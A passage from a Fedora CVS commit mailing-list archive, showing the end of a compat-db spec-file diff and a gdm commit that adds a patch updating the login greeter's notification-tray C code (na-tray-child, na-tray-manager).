-%patch3 -p1 -b .sparc64
-popd
+%setup -q -c -a 1
 
 pushd db-%{db45_version}
 %patch30 -p0
@@ -171,7 +82,6 @@ popd
 pushd db-%{db46_version}
 %patch40 -p0
 %patch41 -p0
-%patch42 -p0
 %patch3 -p1 -b .sparc64
 popd
 
@@ -184,25 +94,8 @@ for version in %{db4_versions} ; do
 done
 
 %build
-# Set CFLAGS for use when building db2, where there's no configure script to
-# pick it up from a %%configure macro.
-CFLAGS="$RPM_OPT_FLAGS"; export CFLAGS
-
-# Cause C++ libraries to be linked with libstdc++.
-LIBXSO_LIBS=-lstdc++; export LIBXSO_LIBS
-
 for version in %{db4_versions} ; do
 	pushd db-${version}/dist
-
-	unset LIBSO_LIBS
-	export LIBSO_LIBS=-lpthread
-
-# XXX --enable-posixmutexes is useful for threads but useless for interprocess locking.
-# XXX --enable-diagnostic should be disabled for production (but is useful).
-# XXX --enable-debug_{r,w}op should be disabled for production.
-# XXX --enable-java
-	libtoolize --copy --force 
-	cp -f %{_datadir}/aclocal/libtool.m4 aclocal/libtool.ac
 	./s_config
 	mkdir build_unix
 	cd build_unix
@@ -211,11 +104,7 @@ for version in %{db4_versions} ; do
 		--enable-compat185 \
 		--enable-shared --disable-static \
 		--enable-rpc \
-		--enable-cxx \ 
-		# --enable-diagnostic \
-		# --enable-debug --enable-debug_rop --enable-debug_wop \
-		# --enable-posixmutexes
-
+		--enable-cxx
 	soversion=`echo ${version} | cut -f1,2 -d.`
 	make libdb=%{_libdb_a} libcxx=%{_libcxx_a} %{?_smp_mflags}
 	popd
@@ -254,8 +143,6 @@ ${RPM_BUILD_ROOT}%{_includedir}/db.h \
 ${RPM_BUILD_ROOT}%{_includedir}/db_185.h \
 ${RPM_BUILD_ROOT}%{_includedir}/db_cxx.h
 
-# Nuke useless headers for 4.1.25
-rm -f ${RPM_BUILD_ROOT}%{_includedir}/cxx_common.h ${RPM_BUILD_ROOT}%{_includedir}/cxx_except.h
 
 # Make sure all shared libraries have the execute bit set.
 chmod 755 ${RPM_BUILD_ROOT}%{_libdir}/libdb*.so*
@@ -295,48 +182,6 @@ rm -rf ${RPM_BUILD_ROOT}
 %files
 %defattr(-,root,root)
 
-%files -n compat-db41
-%doc docs/db-%{db41_version}
-%{_bindir}/db41*
-%{_bindir}/berkeley_db41_svc
-%ifos linux
-/%{_lib}/libdb-4.1.so
-/%{_lib}/libdb_cxx-4.1.so
-%else
-%{_libdir}/libdb-4.1.so
-%{_libdir}/libdb_cxx-4.1.so
-%endif
-%{_libdir}/db%{db41_version}
-%{_includedir}/db%{db41_version}
-
-%files -n compat-db42
-%doc docs/db-%{db42_version}
-%{_bindir}/db42*
-%{_bindir}/berkeley_db42_svc
-%ifos linux
-/%{_lib}/libdb-4.2.so
-/%{_lib}/libdb_cxx-4.2.so
-%else
-%{_libdir}/libdb-4.2.so
-%{_libdir}/libdb_cxx-4.2.so
-%endif
-%{_libdir}/db%{db42_version}
-%{_includedir}/db%{db42_version}
-
-%files -n compat-db43
-%doc docs/db-%{db43_version}
-%{_bindir}/db43*
-%{_bindir}/berkeley_db43_svc
-%ifos linux
-/%{_lib}/libdb-4.3.so
-/%{_lib}/libdb_cxx-4.3.so
-%else
-%{_libdir}/libdb-4.3.so
-%{_libdir}/libdb_cxx-4.3.so
-%endif
-%{_libdir}/db%{db43_version}
-%{_includedir}/db%{db43_version}
-
 %files -n compat-db45
 %doc docs/db-%{db45_version}
 %{_bindir}/db45*
@@ -366,6 +211,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_includedir}/db%{db46_version}
 
 %changelog
+* Thu Sep 10 2009 Jindrich Novy <jnovy at redhat.com> 4.6.21-6
+- remove libtool hacks so that compat-db builds again
+- remove support for old BDBs: 4.3.29, 4.2.52, 4.1.25
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.6.21-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rstrode at fedoraproject.org  Fri Oct 23 02:27:30 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 23 Oct 2009 02:27:30 +0000 (UTC)
Subject: rpms/gdm/F-12 fix-na-tray.patch, NONE, 1.1 fix-timer.patch, NONE,
	1.1 gdm-2.28.1-move-shutdown-functions.patch, 1.1,
	1.2 gdm-multistack.patch, 1.1, 1.2 gdm.spec, 1.498, 1.499
Message-ID: <20091023022730.C7E8D11C008C@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11344

Modified Files:
	gdm-2.28.1-move-shutdown-functions.patch gdm-multistack.patch 
	gdm.spec 
Added Files:
	fix-na-tray.patch fix-timer.patch 
Log Message:
- Fix autologin window spasms
- Fix autologin timer animation
- Make autologin and multistack play better together
- Add padding to notification tray


fix-na-tray.patch:
 b/gui/simple-greeter/gdm-greeter-panel.c                   |    6 
 b/gui/simple-greeter/libnotificationarea/Makefile.am       |    2 
 b/gui/simple-greeter/libnotificationarea/fixedtip.c        |    1 
 b/gui/simple-greeter/libnotificationarea/na-tray-child.c   |  430 +++++++++++++
 b/gui/simple-greeter/libnotificationarea/na-tray-child.h   |   68 ++
 b/gui/simple-greeter/libnotificationarea/na-tray-manager.c |  264 +++----
 b/gui/simple-greeter/libnotificationarea/na-tray-manager.h |   15 
 b/gui/simple-greeter/libnotificationarea/na-tray.c         |   76 +-
 b/gui/simple-greeter/libnotificationarea/na-tray.h         |    3 
 b/gui/simple-greeter/libnotificationarea/testtray.c        |    3 
 gui/simple-greeter/libnotificationarea/na-tray-child.c     |   81 ++
 gui/simple-greeter/libnotificationarea/na-tray-child.h     |    5 
 gui/simple-greeter/libnotificationarea/na-tray-manager.c   |   41 +
 gui/simple-greeter/libnotificationarea/na-tray-manager.h   |    3 
 gui/simple-greeter/libnotificationarea/na-tray.c           |  102 ++-
 gui/simple-greeter/libnotificationarea/na-tray.h           |    3 
 16 files changed, 909 insertions(+), 194 deletions(-)

--- NEW FILE fix-na-tray.patch ---
>From f304eec1bf7dd80e255092b3cdaade10827fd320 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 22 Oct 2009 22:02:51 -0400
Subject: [PATCH 1/4] Update na-tray to latest upstream code

It's a copy and paste from the panel.
---
 gui/simple-greeter/libnotificationarea/Makefile.am |    2 +
 gui/simple-greeter/libnotificationarea/fixedtip.c  |    1 +
 .../libnotificationarea/na-tray-child.c            |  430 ++++++++++++++++++++
 .../libnotificationarea/na-tray-child.h            |   68 +++
 .../libnotificationarea/na-tray-manager.c          |  264 +++++--------
 .../libnotificationarea/na-tray-manager.h          |   15 +-
 gui/simple-greeter/libnotificationarea/na-tray.c   |   76 +++-
 gui/simple-greeter/libnotificationarea/na-tray.h   |    3 +-
 gui/simple-greeter/libnotificationarea/testtray.c  |    2 +-
 9 files changed, 674 insertions(+), 187 deletions(-)
 create mode 100644 gui/simple-greeter/libnotificationarea/na-tray-child.c
 create mode 100644 gui/simple-greeter/libnotificationarea/na-tray-child.h

diff --git a/gui/simple-greeter/libnotificationarea/Makefile.am b/gui/simple-greeter/libnotificationarea/Makefile.am
index e3a6a1f..4009aaf 100644
--- a/gui/simple-greeter/libnotificationarea/Makefile.am
+++ b/gui/simple-greeter/libnotificationarea/Makefile.am
@@ -29,6 +29,8 @@ libnotificationarea_la_SOURCES =		\
 	obox.h					\
 	na-tray.c				\
 	na-tray.h				\
+	na-tray-child.c				\
+	na-tray-child.h				\
 	na-tray-manager.c			\
 	na-tray-manager.h			\
 	na-marshal.c				\
diff --git a/gui/simple-greeter/libnotificationarea/fixedtip.c b/gui/simple-greeter/libnotificationarea/fixedtip.c
index cc90e26..53ac923 100644
--- a/gui/simple-greeter/libnotificationarea/fixedtip.c
+++ b/gui/simple-greeter/libnotificationarea/fixedtip.c
@@ -81,6 +81,7 @@ na_fixed_tip_class_init (NaFixedTipClass *class)
   g_type_class_add_private (class, sizeof (NaFixedTipPrivate));
 }
 
+/* Did you already see this code? Yes, it's gtk_tooltips_ force_window() ;-) */
 static void
 na_fixed_tip_init (NaFixedTip *fixedtip)
 {
diff --git a/gui/simple-greeter/libnotificationarea/na-tray-child.c b/gui/simple-greeter/libnotificationarea/na-tray-child.c
new file mode 100644
index 0000000..c7e3f61
--- /dev/null
+++ b/gui/simple-greeter/libnotificationarea/na-tray-child.c
@@ -0,0 +1,430 @@
+/* na-tray-child.c
+ * Copyright (C) 2002 Anders Carlsson <andersca at gnu.org>
+ * Copyright (C) 2003-2006 Vincent Untz
+ * Copyright (C) 2008 Red Hat, Inc.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#include <config.h>
+#include <string.h>
+
+#include "na-tray-child.h"
+
+#include <glib/gi18n.h>
+#include <gdk/gdk.h>
+#include <gdk/gdkx.h>
+#include <X11/Xatom.h>
+
+G_DEFINE_TYPE (NaTrayChild, na_tray_child, GTK_TYPE_SOCKET)
+
+static void
+na_tray_child_finalize (GObject *object)
+{
+  G_OBJECT_CLASS (na_tray_child_parent_class)->finalize (object);
+}
+
+static void
+na_tray_child_realize (GtkWidget *widget)
+{
+  NaTrayChild *child = NA_TRAY_CHILD (widget);
+  GdkVisual *visual = gtk_widget_get_visual (widget);
+
+  GTK_WIDGET_CLASS (na_tray_child_parent_class)->realize (widget);
+
+  if (child->has_alpha)
+    {
+      /* We have real transparency with an ARGB visual and the Composite
+       * extension. */
+
+      /* Set a transparent background */
+      GdkColor transparent = { 0, 0, 0, 0 }; /* only pixel=0 matters */
+      gdk_window_set_background (widget->window, &transparent);
+      gdk_window_set_composited (widget->window, TRUE);
+
+      child->parent_relative_bg = FALSE;
+    }
+  else if (visual == gdk_drawable_get_visual (GDK_DRAWABLE (gdk_window_get_parent (widget->window))))
+    {
+      /* Otherwise, if the visual matches the visual of the parent window, we
+       * can use a parent-relative background and fake transparency. */
+      gdk_window_set_back_pixmap (widget->window, NULL, TRUE);
+
+      child->parent_relative_bg = TRUE;
+    }
+  else
+    {
+      /* Nothing to do; the icon will sit on top of an ugly gray box */
+      child->parent_relative_bg = FALSE;
+    }
+
+  gdk_window_set_composited (widget->window, child->composited);
+
+  gtk_widget_set_app_paintable (GTK_WIDGET (child),
+                                child->parent_relative_bg || child->has_alpha);
+
+  /* Double-buffering will interfere with the parent-relative-background fake
+   * transparency, since the double-buffer code doesn't know how to fill in the
+   * background of the double-buffer correctly.
+   */
+  gtk_widget_set_double_buffered (GTK_WIDGET (child),
+                                  child->parent_relative_bg);
+}
+
+static void
+na_tray_child_style_set (GtkWidget *widget,
+                         GtkStyle  *previous_style)
+{
+  /* The default handler resets the background according to the new style.
+   * We either use a transparent background or a parent-relative background
+   * and ignore the style background. So, just don't chain up.
+   */
+}
+
+#if 0
+/* This is adapted from code that was commented out in na-tray-manager.c; the
+ * code in na-tray-manager.c wouldn't have worked reliably, this will. So maybe
+ * it can be reenabled. On other hand, things seem to be working fine without
+ * it.
+ *
+ * If reenabling, you need to hook it up in na_tray_child_class_init().
+ */
+static void
+na_tray_child_size_request (GtkWidget      *widget,
+                            GtkRequisition *request)
+{
+  GTK_WIDGET_CLASS (na_tray_child_parent_class)->size_request (widget, request);
+
+  /*
+   * Make sure the icons have a meaningful size ..
+   */ 
+  if ((request->width < 16) || (request->height < 16))
+    {
+      gint nw = MAX (24, request->width);
+      gint nh = MAX (24, request->height);
+      g_warning ("Tray icon has requested a size of (%ix%i), resizing to (%ix%i)", 
+                 req.width, req.height, nw, nh);
+      request->width = nw;
+      request->height = nh;
+    }
+}
+#endif
+
+static void
+na_tray_child_size_allocate (GtkWidget      *widget,
+                             GtkAllocation  *allocation)
+{
+  NaTrayChild *child = NA_TRAY_CHILD (widget);
+
+  gboolean moved = allocation->x != widget->allocation.x ||
+                   allocation->y != widget->allocation.y;
+  gboolean resized = allocation->width != widget->allocation.width ||
+                     allocation->height != widget->allocation.height;
+
+  /* When we are allocating the widget while mapped we need special handling
+   * for both real and fake transparency.
+   *
+   * Real transparency: we need to invalidate and trigger a redraw of the old
+   *   and new areas. (GDK really should handle this for us, but doesn't as of
+   *   GTK+-2.14)
+   *
+   * Fake transparency: if the widget moved, we need to force the contents to
+   *   be redrawn with the new offset for the parent-relative background.
+   */
+  if ((moved || resized) && GTK_WIDGET_MAPPED (widget))
+    {
+      if (na_tray_child_has_alpha (child))
+        gdk_window_invalidate_rect (gdk_window_get_parent (widget->window),
+                                    &widget->allocation, FALSE);
+    }
+
+  GTK_WIDGET_CLASS (na_tray_child_parent_class)->size_allocate (widget,
+                                                                allocation);
+
+  if ((moved || resized) && GTK_WIDGET_MAPPED (widget))
+    {
+      if (na_tray_child_has_alpha (NA_TRAY_CHILD (widget)))
+        gdk_window_invalidate_rect (gdk_window_get_parent (widget->window),
+                                    &widget->allocation, FALSE);
+      else if (moved && child->parent_relative_bg)
+        na_tray_child_force_redraw (child);
+    }
+}
+
+/* The plug window should completely occupy the area of the child, so we won't
+ * get an expose event. But in case we do (the plug unmaps itself, say), this
+ * expose handler draws with real or fake transparency.
+ */
+static gboolean
+na_tray_child_expose_event (GtkWidget      *widget,
+                            GdkEventExpose *event)
+{
+  NaTrayChild *child = NA_TRAY_CHILD (widget);
+
+  if (na_tray_child_has_alpha (child))
+    {
+      /* Clear to transparent */
+      cairo_t *cr = gdk_cairo_create (widget->window);
+      cairo_set_source_rgba (cr, 0, 0, 0, 0);
+      cairo_set_operator (cr, CAIRO_OPERATOR_SOURCE);
+      gdk_cairo_region (cr, event->region);
+      cairo_fill (cr);
+      cairo_destroy (cr);
+    }
+  else if (child->parent_relative_bg)
+    {
+      /* Clear to parent-relative pixmap */
+      gdk_window_clear_area (widget->window,
+                             event->area.x, event->area.y,
+                             event->area.width, event->area.height);
+    }
+
+  return FALSE;
+}
+
+static void
+na_tray_child_init (NaTrayChild *child)
+{
+}
+
+static void
+na_tray_child_class_init (NaTrayChildClass *klass)
+{
+  GObjectClass *gobject_class;
+  GtkWidgetClass *widget_class;
+
+  gobject_class = (GObjectClass *)klass;
+  widget_class = (GtkWidgetClass *)klass;
+
+  gobject_class->finalize = na_tray_child_finalize;
+  widget_class->style_set = na_tray_child_style_set;
+  widget_class->realize = na_tray_child_realize;
+  widget_class->size_allocate = na_tray_child_size_allocate;
+  widget_class->expose_event = na_tray_child_expose_event;
+}
+
+GtkWidget *
+na_tray_child_new (GdkScreen *screen,
+                   Window     icon_window)
+{
+  XWindowAttributes window_attributes;
+  Display *xdisplay;
+  NaTrayChild *child;
+  GdkVisual *visual;
+  gboolean visual_has_alpha;
+  GdkColormap *colormap;
+  gboolean new_colormap;
+  int result;
+
+  g_return_val_if_fail (GDK_IS_SCREEN (screen), NULL);
+  g_return_val_if_fail (icon_window != None, NULL);
+
+  xdisplay = GDK_SCREEN_XDISPLAY (screen);
+
+  /* We need to determine the visual of the window we are embedding and create
+   * the socket in the same visual.
+   */
+
+  gdk_error_trap_push ();
+  result = XGetWindowAttributes (xdisplay, icon_window,
+                                 &window_attributes);
+  gdk_error_trap_pop ();
+
+  if (!result) /* Window already gone */
+    return NULL;
+
+  visual = gdk_x11_screen_lookup_visual (screen,
+                                         window_attributes.visual->visualid);
+  if (!visual) /* Icon window is on another screen? */
+    return NULL;
+
+  new_colormap = FALSE;
+
+  if (visual == gdk_screen_get_rgb_visual (screen))
+    colormap = gdk_screen_get_rgb_colormap (screen);
+  else if (visual == gdk_screen_get_rgba_visual (screen))
+    colormap = gdk_screen_get_rgba_colormap (screen);
+  else if (visual == gdk_screen_get_system_visual (screen))
+    colormap = gdk_screen_get_system_colormap (screen);
+  else
+    {
+      colormap = gdk_colormap_new (visual, FALSE);
+      new_colormap = TRUE;
+    }
+
+  child = g_object_new (NA_TYPE_TRAY_CHILD, NULL);
+  child->icon_window = icon_window;
+
+  gtk_widget_set_colormap (GTK_WIDGET (child), colormap);
+
+  /* We have alpha if the visual has something other than red, green,
+   * and blue */
+  visual_has_alpha = visual->red_prec + visual->blue_prec + visual->green_prec < visual->depth;
+  child->has_alpha = (visual_has_alpha &&
+                      gdk_display_supports_composite (gdk_screen_get_display (screen)));
+
+  child->composited = child->has_alpha;
+
+  if (new_colormap)
+    g_object_unref (colormap);
+
+  return GTK_WIDGET (child);
+}
+
+char *
+na_tray_child_get_title (NaTrayChild *child)
+{
+  char *retval = NULL;
+  GdkDisplay *display;
+  Atom utf8_string, atom, type;
+  int result;
+  int format;
+  gulong nitems;
+  gulong bytes_after;
+  gchar *val;
+
+  g_return_val_if_fail (NA_IS_TRAY_CHILD (child), NULL);
+
+  display = gtk_widget_get_display (GTK_WIDGET (child));
+
+  utf8_string = gdk_x11_get_xatom_by_name_for_display (display, "UTF8_STRING");
+  atom = gdk_x11_get_xatom_by_name_for_display (display, "_NET_WM_NAME");
+
+  gdk_error_trap_push ();
+
+  result = XGetWindowProperty (GDK_DISPLAY_XDISPLAY (display),
+                               child->icon_window,
+                               atom,
+                               0, G_MAXLONG,
+                               False, utf8_string,
+                               &type, &format, &nitems,
+                               &bytes_after, (guchar **)&val);
+  
+  if (gdk_error_trap_pop () || result != Success)
+    return NULL;
+
+  if (type != utf8_string ||
+      format != 8 ||
+      nitems == 0)
+    {
+      if (val)
+        XFree (val);
+      return NULL;
+    }
+
+  if (!g_utf8_validate (val, nitems, NULL))
+    {
+      XFree (val);
+      return NULL;
+    }
+
+  retval = g_strndup (val, nitems);
+
+  XFree (val);
+
+  return retval;
+}
+
+/**
+ * na_tray_child_has_alpha;
+ * @child: a #NaTrayChild
+ *
+ * Checks if the child has an ARGB visual and real alpha transparence.
+ * (as opposed to faked alpha transparency with an parent-relative
+ * background)
+ *
+ * Return value: %TRUE if the child has an alpha transparency
+ */
+gboolean
+na_tray_child_has_alpha (NaTrayChild *child)
+{
+  g_return_val_if_fail (NA_IS_TRAY_CHILD (child), FALSE);
+
+  return child->has_alpha;
+}
+
+/**
+ * na_tray_child_set_composited;
+ * @child: a #NaTrayChild
+ * @composited: %TRUE if the child's window should be redirected
+ *
+ * Sets whether the #GdkWindow of the child should be set redirected
+ * using gdk_window_set_composited(). By default this is based off of
+ * na_tray_child_has_alpha(), but it may be useful to override it in
+ * certain circumstances; for example, if the #NaTrayChild is added
+ * to a parent window and that parent window is composited against the
+ * background.
+ */
+void
+na_tray_child_set_composited (NaTrayChild *child,
+                              gboolean     composited)
+{
+  g_return_if_fail (NA_IS_TRAY_CHILD (child));
+
+  if (child->composited == composited)
+    return;
+
+  child->composited = composited;
+  if (GTK_WIDGET_REALIZED (child))
+    gdk_window_set_composited (GTK_WIDGET (child)->window, composited);
+}
+
+/* If we are faking transparency with a window-relative background, force a
+ * redraw of the icon. This should be called if the background changes or if
+ * the child is shifted with respect to the background.
+ */
+void
+na_tray_child_force_redraw (NaTrayChild *child)
+{
+  GtkWidget *widget = GTK_WIDGET (child);
+
+  if (GTK_WIDGET_MAPPED (child) && child->parent_relative_bg)
+    {
+#if 1
+      /* Sending an ExposeEvent might cause redraw problems if the
+       * icon is expecting the server to clear-to-background before
+       * the redraw. It should be ok for GtkStatusIcon or EggTrayIcon.
+       */
+      Display *xdisplay = GDK_DISPLAY_XDISPLAY (gtk_widget_get_display (widget));
+      XEvent xev;
+
+      xev.xexpose.type = Expose;
+      xev.xexpose.window = GDK_WINDOW_XWINDOW (GTK_SOCKET (child)->plug_window);
+      xev.xexpose.x = 0;
+      xev.xexpose.y = 0;
+      xev.xexpose.width = widget->allocation.width;
+      xev.xexpose.height = widget->allocation.height;
+      xev.xexpose.count = 0;
+
+      gdk_error_trap_push ();
+      XSendEvent (GDK_DISPLAY_XDISPLAY (gtk_widget_get_display (widget)),
+                  xev.xexpose.window,
+                  False, ExposureMask,
+                  &xev);
+      /* We have to sync to reliably catch errors from the XSendEvent(),
+       * since that is asynchronous.
+       */
+      XSync (xdisplay, False);
+      gdk_error_trap_pop ();
+#else
+      /* Hiding and showing is the safe way to do it, but can result in more
+       * flickering.
+       */
+      gdk_window_hide (widget->window);
+      gdk_window_show (widget->window);
+#endif
+    }
+}
diff --git a/gui/simple-greeter/libnotificationarea/na-tray-child.h b/gui/simple-greeter/libnotificationarea/na-tray-child.h
new file mode 100644
index 0000000..c174abe
--- /dev/null
+++ b/gui/simple-greeter/libnotificationarea/na-tray-child.h
@@ -0,0 +1,68 @@
+/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*- */
+/* na-tray-child.h
+ * Copyright (C) 2002 Anders Carlsson <andersca at gnu.org>
+ * Copyright (C) 2003-2006 Vincent Untz
+ * Copyright (C) 2008 Red Hat, Inc.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#ifndef __NA_TRAY_CHILD_H__
+#define __NA_TRAY_CHILD_H__
+
+#include <gtk/gtk.h>
+#include <gdk/gdkx.h>
+
+G_BEGIN_DECLS
+
+#define NA_TYPE_TRAY_CHILD		(na_tray_child_get_type ())
+#define NA_TRAY_CHILD(obj)		(G_TYPE_CHECK_INSTANCE_CAST ((obj), NA_TYPE_TRAY_CHILD, NaTrayChild))
+#define NA_TRAY_CHILD_CLASS(klass)	(G_TYPE_CHECK_CLASS_CAST ((klass), NA_TYPE_TRAY_CHILD, NaTrayChildClass))
+#define NA_IS_TRAY_CHILD(obj)		(G_TYPE_CHECK_INSTANCE_TYPE ((obj), NA_TYPE_TRAY_CHILD))
+#define NA_IS_TRAY_CHILD_CLASS(klass)	(G_TYPE_CHECK_CLASS_TYPE ((klass), NA_TYPE_TRAY_CHILD))
+#define NA_TRAY_CHILD_GET_CLASS(obj)	(G_TYPE_INSTANCE_GET_CLASS ((obj), NA_TYPE_TRAY_CHILD, NaTrayChildClass))
+
+typedef struct _NaTrayChild	  NaTrayChild;
+typedef struct _NaTrayChildClass  NaTrayChildClass;
+typedef struct _NaTrayChildChild  NaTrayChildChild;
+
+struct _NaTrayChild
+{
+  GtkSocket parent_instance;
+  Window icon_window;
+  guint has_alpha : 1;
+  guint composited : 1;
+  guint parent_relative_bg : 1;
+};
+
+struct _NaTrayChildClass
+{
+  GtkSocketClass parent_class;
+};
+
+GType           na_tray_child_get_type        (void);
+
+GtkWidget      *na_tray_child_new            (GdkScreen   *screen,
+                                              Window       icon_window);
+char           *na_tray_child_get_title      (NaTrayChild *child);
+gboolean        na_tray_child_has_alpha      (NaTrayChild *child);
+void            na_tray_child_set_composited (NaTrayChild *child,
+                                              gboolean     composited);
+void            na_tray_child_force_redraw   (NaTrayChild *child);
+
+G_END_DECLS
+
+#endif /* __NA_TRAY_CHILD_H__ */
diff --git a/gui/simple-greeter/libnotificationarea/na-tray-manager.c b/gui/simple-greeter/libnotificationarea/na-tray-manager.c
index 4842a91..1bf54f1 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray-manager.c
+++ b/gui/simple-greeter/libnotificationarea/na-tray-manager.c
@@ -252,120 +252,61 @@ static gboolean
 na_tray_manager_plug_removed (GtkSocket       *socket,
 			      NaTrayManager   *manager)
 {
-  Window *window;
+  NaTrayChild *child = NA_TRAY_CHILD (socket);
 
-  window = g_object_get_data (G_OBJECT (socket), "na-tray-child-window");
-
-  g_hash_table_remove (manager->socket_table, GINT_TO_POINTER (*window));
-  g_object_set_data (G_OBJECT (socket), "na-tray-child-window",
-		     NULL);
-  
-  g_signal_emit (manager, manager_signals[TRAY_ICON_REMOVED], 0, socket);
+  g_hash_table_remove (manager->socket_table,
+                       GINT_TO_POINTER (child->icon_window));
+  g_signal_emit (manager, manager_signals[TRAY_ICON_REMOVED], 0, child);
 
   /* This destroys the socket. */
   return FALSE;
 }
 
 static void
-na_tray_manager_make_socket_transparent (GtkWidget *widget,
-                                         gpointer   user_data)
+na_tray_manager_handle_dock_request (NaTrayManager       *manager,
+				     XClientMessageEvent *xevent)
 {
-  if (GTK_WIDGET_NO_WINDOW (widget))
-    return;
+  Window icon_window = xevent->data.l[2];
+  GtkWidget *child;
 
-  gdk_window_set_back_pixmap (widget->window, NULL, TRUE);
-}
-
-static gboolean
-na_tray_manager_socket_exposed (GtkWidget      *widget,
-                                GdkEventExpose *event,
-                                gpointer        user_data)
-{
-  gdk_window_clear_area (widget->window,
-                         event->area.x, event->area.y,
-                         event->area.width, event->area.height);
-  return FALSE;
-}
+  if (g_hash_table_lookup (manager->socket_table,
+                           GINT_TO_POINTER (icon_window)))
+    {
+      /* We already got this notification earlier, ignore this one */
+      return;
+    }
 
-static void
-na_tray_manager_socket_style_set (GtkWidget *widget,
-                                  GtkStyle  *previous_style,
-                                  gpointer   user_data)
-{
-  if (widget->window == NULL)
+  child = na_tray_child_new (manager->screen, icon_window);
+  if (child == NULL) /* already gone or other error */
     return;
 
-  na_tray_manager_make_socket_transparent (widget, user_data);
-}
+  g_signal_emit (manager, manager_signals[TRAY_ICON_ADDED], 0,
+		 child);
 
-static void
-na_tray_manager_handle_dock_request (NaTrayManager       *manager,
-				     XClientMessageEvent *xevent)
-{
-  GtkWidget *socket;
-  Window *window;
-  GtkRequisition req;
+  /* If the child wasn't attached, then destroy it */
 
-  if (g_hash_table_lookup (manager->socket_table, GINT_TO_POINTER (xevent->data.l[2])))
+  if (!GTK_IS_WINDOW (gtk_widget_get_toplevel (GTK_WIDGET (child))))
     {
-      /* We already got this notification earlier, ignore this one */
+      gtk_widget_destroy (child);
       return;
     }
-  
-  socket = gtk_socket_new ();
-
-  gtk_widget_set_app_paintable (socket, TRUE);
-  //FIXME: need to find a theme where this (and expose event) is needed
-  gtk_widget_set_double_buffered (socket, FALSE);
-  g_signal_connect (socket, "realize",
-                    G_CALLBACK (na_tray_manager_make_socket_transparent), NULL);
-  g_signal_connect (socket, "expose_event",
-                    G_CALLBACK (na_tray_manager_socket_exposed), NULL);
-  g_signal_connect_after (socket, "style_set",
-                          G_CALLBACK (na_tray_manager_socket_style_set), NULL);
-  
-  /* We need to set the child window here
-   * so that the client can call _get functions
-   * in the signal handler
-   */
-  window = g_new (Window, 1);
-  *window = xevent->data.l[2];
-      
-  g_object_set_data_full (G_OBJECT (socket),
-			  "na-tray-child-window",
-			  window, g_free);
-  g_signal_emit (manager, manager_signals[TRAY_ICON_ADDED], 0,
-		 socket);
 
-  /* Add the socket only if it's been attached */
-  if (GTK_IS_WINDOW (gtk_widget_get_toplevel (GTK_WIDGET (socket))))
+  g_signal_connect (child, "plug_removed",
+		    G_CALLBACK (na_tray_manager_plug_removed), manager);
+
+  gtk_socket_add_id (GTK_SOCKET (child), icon_window);
+
+  if (!GTK_SOCKET (child)->plug_window)
     {
-      g_signal_connect (socket, "plug_removed",
-			G_CALLBACK (na_tray_manager_plug_removed), manager);
-      
-      gtk_socket_add_id (GTK_SOCKET (socket), *window);
-
-      g_hash_table_insert (manager->socket_table, GINT_TO_POINTER (*window), socket);
-
-      /*
-       * Make sure the icons have a meaningfull size ...
-       */ 
-      req.width = req.height = 1;
-      gtk_widget_size_request (socket, &req);
-      /*
-      if ((req.width < 16) || (req.height < 16))
-      {
-          gint nw = MAX (24, req.width);
-          gint nh = MAX (24, req.height);
-          g_warning (_("tray icon has requested a size of (%i x %i), resizing to (%i x %i)"), 
-                      req.width, req.height, nw, nh);
-          gtk_widget_set_size_request(icon, nw,  nh);
-      }
-      */
-      gtk_widget_show(socket);
+      /* Embedding failed, we won't get a plug-removed signal */
+      g_signal_emit (manager, manager_signals[TRAY_ICON_REMOVED], 0, child);
+      gtk_widget_destroy (child);
+      return;
     }
-  else
-    gtk_widget_destroy (socket);
+
+  g_hash_table_insert (manager->socket_table,
+                       GINT_TO_POINTER (icon_window), child);
+  gtk_widget_show (child);
 }
 
 static void
@@ -445,13 +386,13 @@ na_tray_manager_handle_begin_message (NaTrayManager       *manager,
   /* Check if the same message is already in the queue and remove it if so */
   for (p = manager->messages; p; p = p->next)
     {
-      PendingMessage *message = p->data;
+      PendingMessage *pmsg = p->data;
 
-      if (xevent->window == message->window &&
-	  xevent->data.l[4] == message->id)
+      if (xevent->window == pmsg->window &&
+	  xevent->data.l[4] == pmsg->id)
 	{
 	  /* Hmm, we found it, now remove it */
-	  pending_message_free (message);
+	  pending_message_free (pmsg);
 	  manager->messages = g_list_remove_link (manager->messages, p);
           g_list_free_1 (p);
 	  break;
@@ -660,6 +601,58 @@ na_tray_manager_set_orientation_property (NaTrayManager *manager)
 #endif
 }
 
+static void
+na_tray_manager_set_visual_property (NaTrayManager *manager)
+{
+#ifdef GDK_WINDOWING_X11
+  GdkDisplay *display;
+  Visual     *xvisual;
+  Atom        visual_atom;
+  gulong      data[1];
+
+  if (!manager->invisible || !manager->invisible->window)
+    return;
+
